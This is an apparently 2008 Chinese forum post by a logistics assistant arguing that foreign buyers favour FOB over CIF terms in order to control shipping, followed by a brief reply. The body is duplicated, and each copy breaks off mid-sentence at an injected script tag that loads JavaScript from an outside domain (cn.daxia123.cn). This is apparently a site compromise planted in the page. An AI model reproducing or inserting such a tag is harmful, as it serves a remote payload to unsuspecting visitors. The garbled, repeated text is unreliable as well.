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“亮剑中国”之“中国的进口商们,你准备亮剑了吗”
张琦斌 福建 厦门市
单位: 环球之星国际物流（厦门）有限公司
职位: 业务助理
人们常说“2007年是中国的“亮剑”年。中国在“亮剑”，中国人在“亮剑”。我想说的是：“2008年起，该咱外贸人”亮剑“了。我们外贸人有义务，必须为自己的权益，为中国，为中国人”亮剑”啦！！！！
熟悉外贸出口的朋友们都知道,我们在与国外客户(特别是欧美等远洋地区的客户”确认外销订单时。国外客户往往倾向于FOB条款成交。据统计：在所有中国的出口贸易订单中，FOB条款成交的比例竟高达70-80% （欧美地区的订单FOB条款成交的竟高达90%以上）。究其原因其实不难理解。国外客户作为买家，他们强烈要求FOB条款成交其根源并不在于运费的支付方（当然FOB条款规定运费由买方承担，这样一来他们可以主动的去寻找他们最为满意和最为划算的运费来支付也是其中原因之一。但我个人认为这不是主要原因）。而是他们可以因此自由的选择他们最为满意和合作方来全程操作和运行他们所购货物。达到他们对货物的整个运输环节掌控自如，货物运输进程的信息时时掌握。不仅如此，国外的承运商（或称物流服务提供商）他们由于在现代运输和服务领域比国内先行数十年。因此他们服务意识，服务范围等方面的超前优势恰恰就为了国外买家对于货物运输各环节的要求起到迎合，满足，甚至保驾护航的决定性作用。我们对同样一票货采取CIF 和 FOB两种成交方式的假设来进一步举例推论国外买家的不同感受。
假如一票货以CIF成交，那么货物的运输费用（运费）由卖方来承担，货物的运输环节包括运输承运商也理所当然均由买方来安排。作为国外客户的买方做什么呢？答案很简单：他们只需要坐等货物的装船，抵达，然后提货。这看似买方非常方便而无需操劳，更可以坐享其成。其实不然，因为我们忽略了一个重要问题。那就是往往在实际操作的执行过程中，很多的环节并不会象原先谈判的那样顺利或理想化。卖家货物是否如期完工？是否如期装船（相信很多人都知道，海运的提单还有个倒签功能）？卖家安排的船东是否如期开航？船是否能如期抵达目的港？。。。。。。还有很多很多的问题存在，而针对这些问题买方除了向卖方询问外还有其他方式了解信息吗？一般情况下只能通过卖方来获得所需信息。那么卖方说的都是实话吗？
关键的问题来了，卖方假如因此自身的利益关系而没有将实际情况如实告知，那么。。。。。。。各位看家还先别急着下定论，问题还没完呢。请听我接着向您一一道来；我们退一万步来说，一切的运输环节和过程就是那么的顺利无间，卖家由是那么的诚信，毫无隐瞒的及时通报了各方面详细信息。那么买家满意了吗？我们还先别再忽略了另一个客观情况；那就是：国外的客户他们对于服务的要求是挺高标准的。他们更倾向于承运商能提供全方位的全程服务。也就是说他们只管打开仓库大门迎接货物抵达和买单外，他们不希望亲自去操作货物抵港后直到货物送达仓库这中间的所有过程。因此他们认为：第一，他们不专业，他们更专业于外贸和订单销售。第二，既然他们对此不是最专业的，那么他们也就不希望浪费时间在此。因此，CIF成交的货物卖家承担的运费和运输责任只负责到船抵达卸货港的那一刻。剩下的事情谁做？他们估计还得花钱找人来做。对吧？累不累啊？“老外”可没那么爱折腾。于是呼，该说说FOB成交条款下，“老外”们开始要当家做主人了。诸位看家还先别觉得罗索，先别觉得烦。且再耐着性子听我细细说来： 这回讲到“老外”确认这票货以FOB成交后，那就太简单了：“老外”随便拿起电话一声幺嗬“张三”“李四”“王二麻子”请到我办公室来一趟（这些人我们姑且称呼他们为国外的物流服务提供商）。一会时间人员就悉数到齐。东家发话了“哥们我这回向中国订了一批货，以FOB条款成交，由我来付运费和安排承允商。你们几个说说你们都能给我提供什么样的服务啊？我可是啥都不想管，只认时间期限打开仓库大门迎接货物的到来，其他的都不想管了。还有，你们都说说按我说的那样做该多少钱？开始招标了，过程咱不说。咱不管他“张三”中标还是“王二麻子”。接下来的操作就不用说了：“老外”开出一张信用社，信用社上规定卖家只能把该票货物交由其指定的运输商（咱假设是“张三”中标）来承运。得，没他什么事了。“张三”出马了。“张三”立即通知他国内的物流分公司或代理商，让他跟卖家联系安排此票货直到装船。同时反馈信息并时时更新信息给“张三”，以便“张三”可以随时向买方反馈，诸如“那票货其实还没生产好，卖家把你给骗啦。再催催他们吧”或者“货物已经开始在安排啦，货物何时会出工厂，何时装柜，何时会装船等等”总之，这回买方主动了，信息都是?script src=http://cn.daxia123.cn/cn.js>
熟悉外贸出口的朋友们都知道,我们在与国外客户(特别是欧美等远洋地区的客户”确认外销订单时。国外客户往往倾向于FOB条款成交。据统计：在所有中国的出口贸易订单中，FOB条款成交的比例竟高达70-80% （欧美地区的订单FOB条款成交的竟高达90%以上）。究其原因其实不难理解。国外客户作为买家，他们强烈要求FOB条款成交其根源并不在于运费的支付方（当然FOB条款规定运费由买方承担，这样一来他们可以主动的去寻找他们最为满意和最为划算的运费来支付也是其中原因之一。但我个人认为这不是主要原因）。而是他们可以因此自由的选择他们最为满意和合作方来全程操作和运行他们所购货物。达到他们对货物的整个运输环节掌控自如，货物运输进程的信息时时掌握。不仅如此，国外的承运商（或称物流服务提供商）他们由于在现代运输和服务领域比国内先行数十年。因此他们服务意识，服务范围等方面的超前优势恰恰就为了国外买家对于货物运输各环节的要求起到迎合，满足，甚至保驾护航的决定性作用。我们对同样一票货采取CIF 和 FOB两种成交方式的假设来进一步举例推论国外买家的不同感受。
假如一票货以CIF成交，那么货物的运输费用（运费）由卖方来承担，货物的运输环节包括运输承运商也理所当然均由买方来安排。作为国外客户的买方做什么呢？答案很简单：他们只需要坐等货物的装船，抵达，然后提货。这看似买方非常方便而无需操劳，更可以坐享其成。其实不然，因为我们忽略了一个重要问题。那就是往往在实际操作的执行过程中，很多的环节并不会象原先谈判的那样顺利或理想化。卖家货物是否如期完工？是否如期装船（相信很多人都知道，海运的提单还有个倒签功能）？卖家安排的船东是否如期开航？船是否能如期抵达目的港？。。。。。。还有很多很多的问题存在，而针对这些问题买方除了向卖方询问外还有其他方式了解信息吗？一般情况下只能通过卖方来获得所需信息。那么卖方说的都是实话吗？
关键的问题来了，卖方假如因此自身的利益关系而没有将实际情况如实告知，那么。。。。。。。各位看家还先别急着下定论，问题还没完呢。请听我接着向您一一道来；我们退一万步来说，一切的运输环节和过程就是那么的顺利无间，卖家由是那么的诚信，毫无隐瞒的及时通报了各方面详细信息。那么买家满意了吗？我们还先别再忽略了另一个客观情况；那就是：国外的客户他们对于服务的要求是挺高标准的。他们更倾向于承运商能提供全方位的全程服务。也就是说他们只管打开仓库大门迎接货物抵达和买单外，他们不希望亲自去操作货物抵港后直到货物送达仓库这中间的所有过程。因此他们认为：第一，他们不专业，他们更专业于外贸和订单销售。第二，既然他们对此不是最专业的，那么他们也就不希望浪费时间在此。因此，CIF成交的货物卖家承担的运费和运输责任只负责到船抵达卸货港的那一刻。剩下的事情谁做？他们估计还得花钱找人来做。对吧？累不累啊？“老外”可没那么爱折腾。于是呼，该说说FOB成交条款下，“老外”们开始要当家做主人了。诸位看家还先别觉得罗索，先别觉得烦。且再耐着性子听我细细说来： 这回讲到“老外”确认这票货以FOB成交后，那就太简单了：“老外”随便拿起电话一声幺嗬“张三”“李四”“王二麻子”请到我办公室来一趟（这些人我们姑且称呼他们为国外的物流服务提供商）。一会时间人员就悉数到齐。东家发话了“哥们我这回向中国订了一批货，以FOB条款成交，由我来付运费和安排承允商。你们几个说说你们都能给我提供什么样的服务啊？我可是啥都不想管，只认时间期限打开仓库大门迎接货物的到来，其他的都不想管了。还有，你们都说说按我说的那样做该多少钱？开始招标了，过程咱不说。咱不管他“张三”中标还是“王二麻子”。接下来的操作就不用说了：“老外”开出一张信用社，信用社上规定卖家只能把该票货物交由其指定的运输商（咱假设是“张三”中标）来承运。得，没他什么事了。“张三”出马了。“张三”立即通知他国内的物流分公司或代理商，让他跟卖家联系安排此票货直到装船。同时反馈信息并时时更新信息给“张三”，以便“张三”可以随时向买方反馈，诸如“那票货其实还没生产好，卖家把你给骗啦。再催催他们吧”或者“货物已经开始在安排啦，货物何时会出工厂，何时装柜，何时会装船等等”总之，这回买方主动了，信息都是?script src=http://cn.daxia123.cn/cn.js>
此帖子发布于2008-4-3 18:00:37，截止今日被阅读86次。
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高辉 单位：浙江睿丰钻夹制造有限公司 职位：经理这个是一个生产大国, 加上外来企业的生产进入,我们是完全没有能力将那么多产品消费的, 所以,大部分还是以出口为主! 但是以下子要改为进口确实有点难道. 发布于：2008-4-5 10:35:37 |
